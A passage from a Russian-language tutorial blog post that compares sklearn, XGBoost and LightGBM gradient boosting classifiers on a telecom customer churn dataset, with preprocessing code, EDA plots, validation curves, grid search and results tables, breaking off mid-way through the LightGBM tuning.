Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Сравнение алгоритмов градиентного бустинга или история знает только первых…

912c87aa29d3487f8e7eec4fbc9d53b2.jpg

Всем привет ! Данная статья написана по итогам обучения на курсе Otus ML Basic и в ней я проведу сравнение алгоритмов градиентного бустинга. Почему бустинг, спросите вы ? Понятно, что нейронные сети интереснее, но не всегда их применение целесообразно и есть задачи для которых классические методы машинного обучения являются лучшим выбором. Бустинг является одним из наиболее эффективных классических алгоритмов и поскольку существуют различные его реализации, то мы проведем сравнение, чтобы понять, кто из них демонстрирует лучшие результаты. Познакомимся с участниками турнира, чьи реализации алгоритма градиентного бустинга будут участвовать в сравнении:

  • Sklearn;

  • XGBoost;

  • LightGBM;

  • Catboost;

Напомню, что бустинг реализует идею построения "сильной" модели на основе композиции базовых алгоритмов (как правило, деревьев решений), точность предсказания которых может быть лишь немногим выше случайного угадывания. Общий подход к реализации выглядит следующим образом:

  • строим алгоритмы последовательно;

  • каждый следующий строится на ошибках предыдущего;

  • решение принимается методом взвешенного голосования;

Проводить сравнение алгоритмов бустинга мы будем на наборе данных для классификации, а именно, предсказания оттока клиентов телеком оператора. Полную версию jupyter ноутбука все желающие могут найти здесь.

Подключаем необходимые библиотеки
import numpy as np 
import pandas as pd 
import seaborn as sns 
import matplotlib.pyplot as plt

from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score, roc_auc_score
from sklearn.preprocessing import LabelEncoder, StandardScaler

from sklearn.ensemble import GradientBoostingClassifier
from xgboost import XGBClassifier
from lightgbm import LGBMClassifier
from catboost import CatBoostClassifier

from sklearn.model_selection import GridSearchCV

import warnings
warnings.filterwarnings("ignore")

Загрузим датасет и посмотрим на основные параметры

df = pd.read_csv('data/WA_Fn-UseC_-Telco-Customer-Churn.csv', index_col=0)
df.info()
    Index: 7043 entries, 7590-VHVEG to 3186-AJIEK
    Data columns (total 20 columns):
     #   Column            Non-Null Count  Dtype  
    ---  ------            --------------  -----  
     0   gender            7043 non-null   object 
     1   SeniorCitizen     7043 non-null   int64  
     2   Partner           7043 non-null   object 
     3   Dependents        7043 non-null   object 
     4   tenure            7043 non-null   int64  
     5   PhoneService      7043 non-null   object 
     6   MultipleLines     7043 non-null   object 
     7   InternetService   7043 non-null   object 
     8   OnlineSecurity    7043 non-null   object 
     9   OnlineBackup      7043 non-null   object 
     10  DeviceProtection  7043 non-null   object 
     11  TechSupport       7043 non-null   object 
     12  StreamingTV       7043 non-null   object 
     13  StreamingMovies   7043 non-null   object 
     14  Contract          7043 non-null   object 
     15  PaperlessBilling  7043 non-null   object 
     16  PaymentMethod     7043 non-null   object 
     17  MonthlyCharges    7043 non-null   float64
     18  TotalCharges      7043 non-null   object 
     19  Churn             7043 non-null   object 
    dtypes: float64(1), int64(2), object(17)
    memory usage: 1.1+ MB

В наборе данных всего лишь 3 признака из 20 имеют числовой тип, поэтому, первое что необходимо сделать, это преобразовать категориальные признаки в числовые, а также провести другую предобработку данных, при необходимости.

Предварительная обработка данных

Проведем предварительную обработку набора данных и для начала проверим, есть ли в данных пропущенные значения

df.isna().sum()
    gender              0
    SeniorCitizen       0
    Partner             0
    Dependents          0
    tenure              0
    PhoneService        0
    MultipleLines       0
    InternetService     0
    OnlineSecurity      0
    OnlineBackup        0
    DeviceProtection    0
    TechSupport         0
    StreamingTV         0
    StreamingMovies     0
    Contract            0
    PaperlessBilling    0
    PaymentMethod       0
    MonthlyCharges      0
    TotalCharges        0
    Churn               0
    dtype: int64

Пропусков в данных нет и это хорошо, но есть 17 категориальных признаков, которые необходимо привести к числовому виду:

    Index(['gender', 'Partner', 'Dependents', 'PhoneService', 'MultipleLines',
           'InternetService', 'OnlineSecurity', 'OnlineBackup', 'DeviceProtection',
           'TechSupport', 'StreamingTV', 'StreamingMovies', 'Contract',
           'PaperlessBilling', 'PaymentMethod', 'TotalCharges', 'Churn'],
          dtype='object')

Посмотрим на количество уникальных значений для каждого из атрибутов

df.nunique()
    gender                 2
    SeniorCitizen          2
    Partner                2
    Dependents             2
    tenure                73
    PhoneService           2
    MultipleLines          3
    InternetService        3
    OnlineSecurity         3
    OnlineBackup           3
    DeviceProtection       3
    TechSupport            3
    StreamingTV            3
    StreamingMovies        3
    Contract               3
    PaperlessBilling       2
    PaymentMethod          4
    MonthlyCharges      1585
    TotalCharges        6531
    Churn                  2
    dtype: int64

Начнем с замены бинарных категориальных признаков значениями 1/0

Код преобразования бинарных признаков 
bin_cat_cols_list = []
for index, value in df.nunique().items():    
  if value == 2:        
    bin_cat_cols_list.append(index)        
    print(f"Index : {index}, Value : {value}") 
    Index : gender, Value : 2
    Index : SeniorCitizen, Value : 2
    Index : Partner, Value : 2
    Index : Dependents, Value : 2
    Index : PhoneService, Value : 2
    Index : PaperlessBilling, Value : 2
    Index : Churn, Value : 2
for col in bin_cat_cols_list:
    print(col, df[col].unique())
    gender ['Female' 'Male']
    SeniorCitizen [0 1]
    Partner ['Yes' 'No']
    Dependents ['No' 'Yes']
    PhoneService ['No' 'Yes']
    PaperlessBilling ['Yes' 'No']
    Churn ['No' 'Yes']

атрибут SeniorCitizen уже имеет значения 0/1, поэтому исключим его из дальнейшей обработки

bin_cat_cols_list.remove('SeniorCitizen')

for col in bin_cat_cols_list:
    print(col, df[col].unique())
    gender ['Female' 'Male']
    Partner ['Yes' 'No']
    Dependents ['No' 'Yes']
    PhoneService ['No' 'Yes']
    PaperlessBilling ['Yes' 'No']
    Churn ['No' 'Yes']

Итого, у нас 6 бинарных категориальных признаков - заменим их значениями 0/1

g_dict = {'Female':0, 'Male':1}
df['gender'] = df['gender'].map(g_dict)
yn_dict = {'Yes':1, 'No':0}
for col in bin_cat_cols_list[1:]:
    df[col] = df[col].map(yn_dict)

Посмотрим, что у нас получилось по итогам преобразования бинарных атрибутов

df.info()
    Index: 7043 entries, 7590-VHVEG to 3186-AJIEK
    Data columns (total 20 columns):
     #   Column            Non-Null Count  Dtype  
    ---  ------            --------------  -----  
     0   gender            7043 non-null   int64  
     1   SeniorCitizen     7043 non-null   int64  
     2   Partner           7043 non-null   int64  
     3   Dependents        7043 non-null   int64  
     4   tenure            7043 non-null   int64  
     5   PhoneService      7043 non-null   int64  
     6   MultipleLines     7043 non-null   object 
     7   InternetService   7043 non-null   object 
     8   OnlineSecurity    7043 non-null   object 
     9   OnlineBackup      7043 non-null   object 
     10  DeviceProtection  7043 non-null   object 
     11  TechSupport       7043 non-null   object 
     12  StreamingTV       7043 non-null   object 
     13  StreamingMovies   7043 non-null   object 
     14  Contract          7043 non-null   object 
     15  PaperlessBilling  7043 non-null   int64  
     16  PaymentMethod     7043 non-null   object 
     17  MonthlyCharges    7043 non-null   float64
     18  TotalCharges      7043 non-null   object 
     19  Churn             7043 non-null   int64  
    dtypes: float64(1), int64(8), object(11)
    memory usage: 1.1+ MB

Поработаем с оставшимися 11 категориальными признаками и начнем с приведения TotalCharges к типу float

df['TotalCharges'] = pd.to_numeric(df['TotalCharges'], errors='coerce')
df.isna().sum()
    gender               0
    SeniorCitizen        0
    Partner              0
    Dependents           0
    tenure               0
    PhoneService         0
    MultipleLines        0
    InternetService      0
    OnlineSecurity       0
    OnlineBackup         0
    DeviceProtection     0
    TechSupport          0
    StreamingTV          0
    StreamingMovies      0
    Contract             0
    PaperlessBilling     0
    PaymentMethod        0
    MonthlyCharges       0
    TotalCharges        11
    Churn                0
    dtype: int64

Видим, что есть 11 пропущенных значений в Total Charges, записей немного, поэтому, просто удалим их из набора данных

df.dropna(inplace = True)

Оставшиеся категориальные признаки преобразуем с использованием LabelEncoder пакета sklearn

Код преобразования признаков
obj_cols = df.select_dtypes(include='object').columns

for col in obj_cols:
    print(col, df[col].unique())
    MultipleLines ['No phone service' 'No' 'Yes']
    InternetService ['DSL' 'Fiber optic' 'No']
    OnlineSecurity ['No' 'Yes' 'No internet service']
    OnlineBackup ['Yes' 'No' 'No internet service']
    DeviceProtection ['No' 'Yes' 'No internet service']
    TechSupport ['No' 'Yes' 'No internet service']
    StreamingTV ['No' 'Yes' 'No internet service']
    StreamingMovies ['No' 'Yes' 'No internet service']
    Contract ['Month-to-month' 'One year' 'Two year']
    PaymentMethod ['Electronic check' 'Mailed check' 'Bank transfer (automatic)'
     'Credit card (automatic)']
label_encoder = LabelEncoder()

for col in obj_cols:
    df[col] = label_encoder.fit_transform(df[col])

for col in obj_cols:
    print(col, df[col].unique())
    MultipleLines [1 0 2]
    InternetService [0 1 2]
    OnlineSecurity [0 2 1]
    OnlineBackup [2 0 1]
    DeviceProtection [0 2 1]
    TechSupport [0 2 1]
    StreamingTV [0 2 1]
    StreamingMovies [0 2 1]
    Contract [0 1 2]
    PaymentMethod [2 3 0 1]

Проверим, что у нас получилось после всех преобразований:

df.info()
    Index: 7032 entries, 7590-VHVEG to 3186-AJIEK
    Data columns (total 20 columns):
     #   Column            Non-Null Count  Dtype  
    ---  ------            --------------  -----  
     0   gender            7032 non-null   int64  
     1   SeniorCitizen     7032 non-null   int64  
     2   Partner           7032 non-null   int64  
     3   Dependents        7032 non-null   int64  
     4   tenure            7032 non-null   int64  
     5   PhoneService      7032 non-null   int64  
     6   MultipleLines     7032 non-null   int64  
     7   InternetService   7032 non-null   int64  
     8   OnlineSecurity    7032 non-null   int64  
     9   OnlineBackup      7032 non-null   int64  
     10  DeviceProtection  7032 non-null   int64  
     11  TechSupport       7032 non-null   int64  
     12  StreamingTV       7032 non-null   int64  
     13  StreamingMovies   7032 non-null   int64  
     14  Contract          7032 non-null   int64  
     15  PaperlessBilling  7032 non-null   int64  
     16  PaymentMethod     7032 non-null   int64  
     17  MonthlyCharges    7032 non-null   float64
     18  TotalCharges      7032 non-null   float64
     19  Churn             7032 non-null   int64  
    dtypes: float64(2), int64(18)
    memory usage: 1.4+ MB

Видим, что все признаки теперь числовые и наш датасет готов к дальнейшей работе. Но прежде чем погрузиться в создание моделей градиентного бустинга, проведем разведочный анализ данных, aka Exploratory Data Analysis, он же EDA

EDA

Посмотрим на корреляцию в данных

fig, ax = plt.subplots(figsize=(12, 6))
sns.heatmap(df.corr(), annot=True, linewidths=.5, fmt= '.1f',ax=ax);
png

Визуализируем парные зависимости выбранных признаков

sns.pairplot(data=df[['tenure','Contract','MonthlyCharges','TotalCharges','Churn']], hue='Churn')
plt.show;
png

Зависимость есть, но нелинейная, поэтому не будем удалять атрибуты из набора данных.

Корреляция целевой переменной с другими признаками

Посмотрим на корреляцию оттока (Churn) с другими признаками

plt.figure(figsize=(8,6))
df.corr()['Churn'].sort_values(ascending = False).plot(kind='bar')
png

Числовые признаки и целевая переменная

Посмотрим на распределение некоторых числовых признаков в разрезе целевой переменной

Код построения диаграмм
fig = plt.subplots(nrows = 1,ncols = 3,figsize = (20,7))

plt.subplot(1,3,1)
ax = sns.kdeplot(df.MonthlyCharges[(df["Churn"] == 0)], color='#008080', fill= True, alpha=.7, linewidth=0)
ax = sns.kdeplot(df.MonthlyCharges[(df["Churn"] == 1)], color='#FF6347', fill= True, alpha=.7, linewidth=0)
ax.legend(["Not Churn","Churn"],loc='upper right')
ax.set_ylabel('Density')
ax.set_xlabel('Monthly Charges')
ax.set_title('Distribution of Monthly Charges by Churn')

plt.subplot(1,3,2)
ax = sns.kdeplot(df.TotalCharges[(df["Churn"] == 0)], color='#008080', fill= True, alpha=.7, linewidth=0)
ax = sns.kdeplot(df.TotalCharges[(df["Churn"] == 1)], color='#FF6347', fill= True, alpha=.7, linewidth=0)
ax.legend(["Not Churn","Churn"],loc='upper right')
ax.set_ylabel('Density')
ax.set_xlabel('Total Charges')
ax.set_title('Distribution of Total Charges by Churn')

plt.subplot(1,3,3)
ax = sns.kdeplot(df.tenure[(df["Churn"] == 0)], color='#008080', fill= True, alpha=.7, linewidth=0)
ax = sns.kdeplot(df.tenure[(df["Churn"] == 1)], color='#FF6347', fill= True, alpha=.7, linewidth=0)
ax.legend(["Not Churn","Churn"],loc='upper right')
ax.set_ylabel('Density')
ax.set_xlabel('Tenure')
ax.set_title('Distribution of Tenure by Churn')

plt.show();
png

Полученные диаграммы позволяют сделать несколько выводов:

  • Диаграмма распределения ежемесячных платежей (Monthly Charges) показывает, что к оттоку склонны клиенты с большими суммами платежей, возможно, неожиданные счета за роуминг влияют на лояльность клиентов;

  • Среди клиентов с большой общей суммой счетов (Total Charges) выше доля лояльных клиентов;

  • Распределение по времени контракта (Tenure) демонстрирует лучшее разделение по целевой переменной - лояльные клиенты имеют давние контракты, в то время как новые клиенты наиболее склонны к оттоку;

И также посмотрим на распределение целевой переменной:

Код построения диаграмм
palette = ['#008080','#FF6347', '#E50000', '#D2691E']

l1 = list(df['Churn'].value_counts())
pie_values = [l1[0] / sum(l1) * 100, l1[1] / sum(l1) * 100]

fig = plt.subplots(nrows = 1,ncols = 2,figsize = (20,7))

plt.subplot(1,2,1)
plt.pie(pie_values,labels = ['Not-Churn Customers','Churn Customers'], 
        autopct = '%1.2f%%',
        explode = (0.1,0),
        colors = palette,
        wedgeprops = {'edgecolor': 'black','linewidth': 1, 'antialiased' : True})
plt.title('Churn and Not-Churn Customers %');

plt.subplot(1,2,2)
ax = sns.countplot(data = df, 
                   x='Churn',
                   palette = palette, 
                   edgecolor = 'black')
for i in ax.containers:
    ax.bar_label(i,)
ax.set_xticklabels(['Not-Churn Customers','Churn Customers'])
    
plt.title('Churn and Not-Churn Customers')
plt.show()
01c1b4042fc57859be183195ba5b7ee9.png

Доля склонных к оттоку клиентов более четверти абонентской базы - угрожающее значение для бизнеса любого оператора связи, надеюсь, данной компании удалось как-то с этим справиться... Ну а мы переходим к заключительной части предварительной обработки данных.

Разделение и масштабирование

Разделение набора данных на обучающую и тестовую выборки

Как обычно, перед обучением модели, нам необходимо разделить датасет на обучающую (train) и тестовую (test) выборки. Используем для этого функцию train_test_split пакета sklearn и не забудем про параметр stratify, учитывая несбалансированность набора данных:

X = df.drop('Churn', axis=1)
y = df['Churn']

X_train, X_test, y_train, y_test = train_test_split(X, y, stratify=y, test_size = 0.3, random_state = 13)

Масштабирование признаков

Масштабирование числовых признаков набора данных является общим требованием для многих моделей машинного обучения и мы воспользуемся функцией StandardScaler модуля preprocessing пакета sklearn. StandardScaler центрирует значения признаков относительно нуля, вычитая среднее значение каждого признака, а затем масштабирует их, деля на стандартное отклонение:

z = \frac{(x - \mu)}{\sigma}

где \mu это среднее значение для признака из обучающего набора, \sigma - стандартное отклонение

numeric_columns = ['tenure', 'MonthlyCharges', 'TotalCharges']
std_scaler = StandardScaler()

X_train[numeric_columns] = std_scaler.fit_transform(X_train[numeric_columns])
X_test[numeric_columns]= std_scaler.transform(X_test[numeric_columns])

Теперь мы готовы строить наши модели.

Sklearn

Открывать турнир будет реализация градиентного бустинга от sklearn и для удобства определим функцию, возвращающую значения метрик, по которым мы будем оценивать и сравнивать модели. Поскольку у нас задача бинарной классификации, то будем использовать соответствующие метрики, в частности - accuracy, precision, recall, f1-score и ROC-AUC. Сравнивать, так уж сравнивать )

def quality(true_y, prediction_y):
    """
    Evaluates and returns the following metrics: Accuracy, Precision, Recall, F1-score, AUC
    """
    accuracy = round(accuracy_score(true_y, prediction_y), 3)
    precision = round(precision_score(true_y, prediction_y), 3)
    recall = round(recall_score(true_y, prediction_y), 3)
    f1 = round(f1_score(true_y, prediction_y), 3)
    auc = round(roc_auc_score(true_y, prediction_y), 3)
    print(f" Accuracy: {accuracy}")
    print(f"Precision: {precision}")
    print(f"   Recall: {recall}")
    print(f" F1-score: {f1}")
    print(f"      AUC: {auc}")
    return [accuracy, precision, recall, f1, auc]

Измеренные значения метрик будем складывать в словарь

results = {}

В качестве точки отсчета запустим классификатор без настройки, со значениями гиперпараметров по умолчанию

Код запуска классификатора sklearn
# first run with default parameters
sgb_clf = GradientBoostingClassifier(random_state=13)

sgb_clf.fit(X_train, y_train)
y_pred = sgb_clf.predict(X_test)

results['Sklearn'] = quality(y_test, y_pred)
     Accuracy: 0.807
    Precision: 0.678
       Recall: 0.522
     F1-score: 0.59
          AUC: 0.716

Посмотрим на первые полученные результаты

pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Теперь у нас есть baseline и пора улучшить результаты.

Sklearn: кривая валидации для количества деревьев

Первый гиперпараметр который мы попробуем настроить это n_estimators или количество выполняемых этапов бустинга - в нашем случае, числа деревьев решений (decision trees), используемых в качестве базового алгоритма. И для начала построим кривую валидации, отображающую зависимость результатов (по метрике ROC-AUC) от количества деревьев решений

Код построения кривой валидации
n_trees = [1, 3, 5, 10, 50, 100, 200, 300, 400, 500]
quals_train = []
quals_test = []
for n in n_trees:
    clf = GradientBoostingClassifier(n_estimators=n, random_state=13)
    clf.fit(X_train, y_train)
    q_train = roc_auc_score(y_train, clf.predict(X_train))
    q_test = roc_auc_score(y_test, clf.predict(X_test))

    quals_train.append(q_train)
    quals_test.append(q_test)

plt.figure(figsize=(8, 5))
plt.plot(n_trees, quals_train, marker='.', label='train')
plt.plot(n_trees, quals_test, marker='.', label='test')
plt.xlabel('Number of trees')
plt.ylabel('AUC-ROC')
plt.title('Sklearn GB Validation Curve')
plt.legend()

plt.show();
png

Если отсортировать результаты в порядке убывания значения выбранной метрики

sorted(list(zip(quals_test, n_trees)), reverse=True)
    [(0.7162731634117349, 100),
     (0.7099715876725712, 200),
     (0.7046383786215936, 400),
     (0.7040699019205077, 300),
     (0.7035014252194217, 500),
     (0.7016757404293955, 50),
     (0.6225124828967916, 10),
     (0.5, 5),
     (0.5, 3),
     (0.5, 1)]

то увидим, что лучшие результаты достигаются на 100 деревьях

Sklearn: кривые валидации для скорости обучения (learning rate)

Посмотрим, как влияет гиперпараметр learning rate на качество алгоритма и склонность к переобучению. Для построения кривых валидации воспользуемся методом staged_predict, позволяющим получать результаты на каждом этапе бустинга, по мере добавления очередного дерева решений:

for learning_rate in [1, 0.5, 0.3, 0.2, 0.1]:

    gbm = GradientBoostingClassifier(n_estimators=150, learning_rate=learning_rate, random_state=13).fit(X_train, y_train)
    
    test_deviance = np.zeros((gbm.n_estimators,), dtype=np.float64)
    for i, y_pred in enumerate(gbm.staged_predict(X_test)):
        test_deviance[i] = roc_auc_score(y_test, y_pred)
    
    train_deviance = np.zeros((gbm.n_estimators,), dtype=np.float64)
    for i, y_pred in enumerate(gbm.staged_predict(X_train)):
        train_deviance[i] = roc_auc_score(y_train, y_pred)

    plt.figure()
    plt.plot(test_deviance, 'r', linewidth=2)
    plt.plot(train_deviance, 'g', linewidth=2)
    plt.legend(['test', 'train'])
    
    plt.title('GBM lr=%.1f, test roc-auc=%.3f, best_est=%d' % (learning_rate, test_deviance.max(), test_deviance.argmax()+1))
    plt.xlabel('Number of trees')
    plt.ylabel('Metric')
pngpngpngpngpng

Видим, что максимальное значение метрики ROC-AUC достигается при learning rate (lr) равном 0.1 и количестве этапов бустинга (n_estimators) равном 79.

Запустим классификатор sklearn с максимизирующими значение ROC-AUC параметрами lr=0.1, n_estimators=79

Код запуска классификатора sklearn с выбранными параметрами
sgb_clf = GradientBoostingClassifier(n_estimators=79, learning_rate=0.1, random_state=13)

sgb_clf.fit(X_train, y_train)
y_pred = sgb_clf.predict(X_test)

results['Sklearn-VC'] = quality(y_test, y_pred)
     Accuracy: 0.809
    Precision: 0.684
       Recall: 0.528
     F1-score: 0.596
          AUC: 0.72
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Видим, что после настройки гиперпараметров с использованием кривых валидации результаты несколько улучшились.

Sklearn: настройка гиперпараметров по сетке с кроссвалидацией

Построенные вручную кривые валидации это неплохо для общего понимания направления оптимизации, но в качестве штатного средства в пакете sklearn есть функция GridSearchCV для настройки гиперпараметров по сетке с кроссвалидацией. Посмотрим каких результатов нам удастся достичь с использованием поиска по сетке.

Код настройки гиперпараметров с использованием GridSearchCV
# Define Gradient Boosting classifier with default parameters
clf = GradientBoostingClassifier(random_state=13)

# Estimate grid of the classifier hyperparameters
parameters = {'n_estimators':[10,50,80,150],
              'max_depth':[1,2,3,5],
              'learning_rate':[1,0.5,0.3,0.2,0.1]
             }

# Define GridSearch parameters
gs = GridSearchCV(clf,                 # Classifier object to optimize
                  parameters,          # Grid of the hyperparameters
                  scoring='roc_auc',   # Classification quality metric to optimize
                  cv=5                 # Number of folds in KFolds cross-validation
                 )

# Run Grid Search optimization
gs.fit(X_train, y_train)
gs.best_params_
    {'learning_rate': 0.2, 'max_depth': 1, 'n_estimators': 150}
pred_gs = gs.predict(X_test)

results['Sklearn-GS'] = quality(y_test, pred_gs)
     Accuracy: 0.808
    Precision: 0.681
       Recall: 0.522
     F1-score: 0.591
          AUC: 0.717

Итоговые результаты алгоритма sklearn:

pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

После оптимизации параметров с использованием GridSearch метрика ROC-AUC чуть лучше чем при использовании параметров по умолчанию, но несколько хуже результатов, полученных с подобранными на кривых валидации параметрами.

XGBoost

Переходим к тестированию реализации алгоритма градиентного бустинга пакета xgboost и начнем с параметров по умолчанию.

Код запуска классификатора xgboost с параметрами по умолчанию
xgb_clf = XGBClassifier(random_state=13)

xgb_clf.fit(X_train, y_train)
y_pred = xgb_clf.predict(X_test)

results['XGBoost'] = quality(y_test, y_pred)
     Accuracy: 0.786
    Precision: 0.621
       Recall: 0.503
     F1-score: 0.556
          AUC: 0.696
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

И у нас есть baseline для xgboost...

XGBoost: кривая валидации для количества деревьев

Построим кривую валидации для настройки параметра n_estimators

Код построения кривой валидации
n_trees = [1, 3, 5, 10, 50, 100, 200, 300, 400, 500]
quals_train = []
quals_test = []
for n in n_trees:
    clf = XGBClassifier(n_estimators=n, random_state=13)
    clf.fit(X_train, y_train)
    q_train = roc_auc_score(y_train, clf.predict(X_train))
    q_test = roc_auc_score(y_test, clf.predict(X_test))

    quals_train.append(q_train)
    quals_test.append(q_test)

plt.figure(figsize=(8, 5))
plt.plot(n_trees, quals_train, marker='.', label='train')
plt.plot(n_trees, quals_test, marker='.', label='test')
plt.xlabel('Number of trees')
plt.ylabel('AUC-ROC')
plt.title('XGBoost Validation Curve')
plt.legend()

plt.show()
png

Отсортируем в порядке убывания значения выбранной метрики

sorted(list(zip(quals_test, n_trees)), reverse=True)
    [(0.7062379385699934, 10),
     (0.7055296442187416, 50),
     (0.6958172082730621, 100),
     (0.6847365156520968, 200),
     (0.6816628288735529, 300),
     (0.6809401499903911, 500),
     (0.6796489944061432, 400),
     (0.6699756843872593, 5),
     (0.6428717739810286, 3),
     (0.5, 1)]

Лучший результат получаем для n_estimators = 10

XGBoost: кривые валидации для скорости обучения

Посмотрим, как влияет параметр learning rate на качество алгоритма и склонность к переобучению

Код построения кривых валидации
for learning_rate in [1, 0.5, 0.3, 0.2, 0.1]:

    xgb = XGBClassifier(n_estimators=150, learning_rate=learning_rate, random_state=13, verbose=-1).fit(X_train, y_train)

    test_deviance = np.zeros((xgb.n_estimators,), dtype=np.float64)
    for i in range(xgb.n_estimators):
        y_pred_test = xgb.predict(X_test, iteration_range=(0,i))
        test_deviance[i] = roc_auc_score(y_test, y_pred_test)

    train_deviance = np.zeros((xgb.n_estimators,), dtype=np.float64)
    for i in range(xgb.n_estimators):
        y_pred_train = xgb.predict(X_train, iteration_range=(0,i))
        train_deviance[i] = roc_auc_score(y_train, y_pred_train)

    plt.figure()
    plt.plot(test_deviance[1:], 'r', linewidth=2)
    plt.plot(train_deviance[1:], 'g', linewidth=2)
    plt.legend(['test', 'train'])
    
    plt.title('XGBoost lr=%.1f, test roc-auc=%.3f, best_est=%d' % (learning_rate, test_deviance.max(), test_deviance.argmax()))
    plt.xlabel('Number of trees')
    plt.ylabel('Metric')
pngpngpngpngpng

Максимальное значение метрики ROC-AUC достигается при learning rate (lr) равном 0.5 и количестве этапов бустинга (n_estimators) равном 10.

Запустим модель с найденными оптимальными параметрами lr=0.5, n_estimators=10

xgb_clf = XGBClassifier(n_estimators=10, learning_rate=0.5, random_state=13)
xgb_clf.fit(X_train, y_train)
y_pred = xgb_clf.predict(X_test)
results['XGBoost-VC'] = quality(y_test, y_pred)
     Accuracy: 0.803
    Precision: 0.661
       Recall: 0.531
     F1-score: 0.589
          AUC: 0.716
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

Видим, что результаты xgboost существенно улучшились.

XGBoost: настройка гиперпараметров по сетке с кроссвалидацией

Посмотрим, какие результаты нам удастся получить после поиска по сетке с использованием GridSearchCV

Код настройки гиперпараметров с использованием GridSearchCV
# Define Gradient Boosting classifier with default parameters
clf = XGBClassifier(random_state=13)

# Estimate grid of the classifier hyperparameters
parameters = {'n_estimators':[10,50,100],
              'max_depth':[1,2,3,5],
              'learning_rate':[1,0.5,0.3]
             }

# Define GridSearch parameters
gs = GridSearchCV(clf,                 # Classifier object to optimize
                  parameters,          # Grid of the hyperparameters
                  scoring='roc_auc',   # Classification quality metric to optimize
                  cv=5                 # Number of folds in KFolds cross-validation
                 )

# Run Grid Search optimization
gs.fit(X_train, y_train)
gs.best_params_
    {'learning_rate': 0.5, 'max_depth': 1, 'n_estimators': 50}
pred_gs = gs.predict(X_test)
results['XGBoost-GS'] = quality(y_test, pred_gs)
     Accuracy: 0.806
    Precision: 0.668
       Recall: 0.535
     F1-score: 0.594
          AUC: 0.719
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

XGBoost-GS

0.806

0.668

0.535

0.594

0.719

Видим, что с использованием GridSearchCV результаты еще улучшились и по метрике ROC-AUC xgboost вышел на второе промежуточное место.

LightGBM

Третий участник - реализация алгоритма градиентного бустинга пакета LightGBM и, как обычно, первый запуск "из коробки", со значениями гиперпараметров по умолчанию

Код запуска классификатора LightGBM со значениями гиперпараметров по умолчанию
lgbm_clf = LGBMClassifier(verbose=-1, random_state=13)

lgbm_clf.fit(X_train, y_train)
y_pred = lgbm_clf.predict(X_test)

results['LightGBM'] = quality(y_test, y_pred)
     Accuracy: 0.794
    Precision: 0.643
       Recall: 0.504
     F1-score: 0.565
          AUC: 0.702
pd.DataFrame(results, index = ['Accuracy', 'Precision', 'Recall', 'F1-score', 'AUC']).T

Accuracy

Precision

Recall

F1-Score

AUC

Sklearn

0.807

0.678

0.522

0.59

0.716

Sklearn-VC

0.809

0.684

0.528

0.596

0.72

Sklearn-GS

0.808

0.681

0.522

0.591

0.717

XGBoost

0.786

0.621

0.503

0.556

0.696

XGBoost-VC

0.803

0.661

0.531

0.589

0.716

XGBoost-GS

0.806

0.668

0.535

0.594

0.719

LightGBM

0.794

0.643

0.504

0.565

0.702

Ну что ж, неплохо для начала...

LightGBM: кривая валидации для количества деревьев

Построим кривую валидации для гиперпараметра n_estimators

Код построения кривой валидации
n_trees = [1, 3, 5, 10, 50, 100, 200, 300, 400, 500]
quals_train = []
quals_test = []
for n in n_trees:
    clf = LGBMClassifier(n_estimators=n, verbose=-1, random_state=13)
    clf.fit(X_train, y_train)
    q_train = roc_auc_score(y_train, clf.predict(X_train))
    q_test = roc_auc_score(y_test, clf.predict(X_test))

    quals_train.append(q_train)
    quals_test.append(q_test)

plt.figure(figsize=(8, 5))
plt.plot(n_trees, quals_train, marker='.', label='train')
plt.plot(n_trees, quals_test, marker='.', label='test')
plt.xlabel('Number of trees')
plt.ylabel('AUC-ROC')
plt.title('LightGBM Validation Curve')
plt.legend()

plt.show();
png

Отсортируем по убыванию значения выбранной метрики

sorted(list(zip(quals_test, n_trees)), reverse=True)
    [(0.7075290941542413, 50),
     (0.7015503073111397, 100),
     (0.6927435214945183, 200),
     (0.6884557802227645, 300),
     (0.6865961479374308, 500),
     (0.682139819951691, 400),
     (0.6565635468343097, 10),
     (0.5301488281209544, 5),
     (0.5, 3),
     (0.5, 1)]

Лучший результат достигается для числа деревьев равного 50, но мы еще не настраивали learning rate...

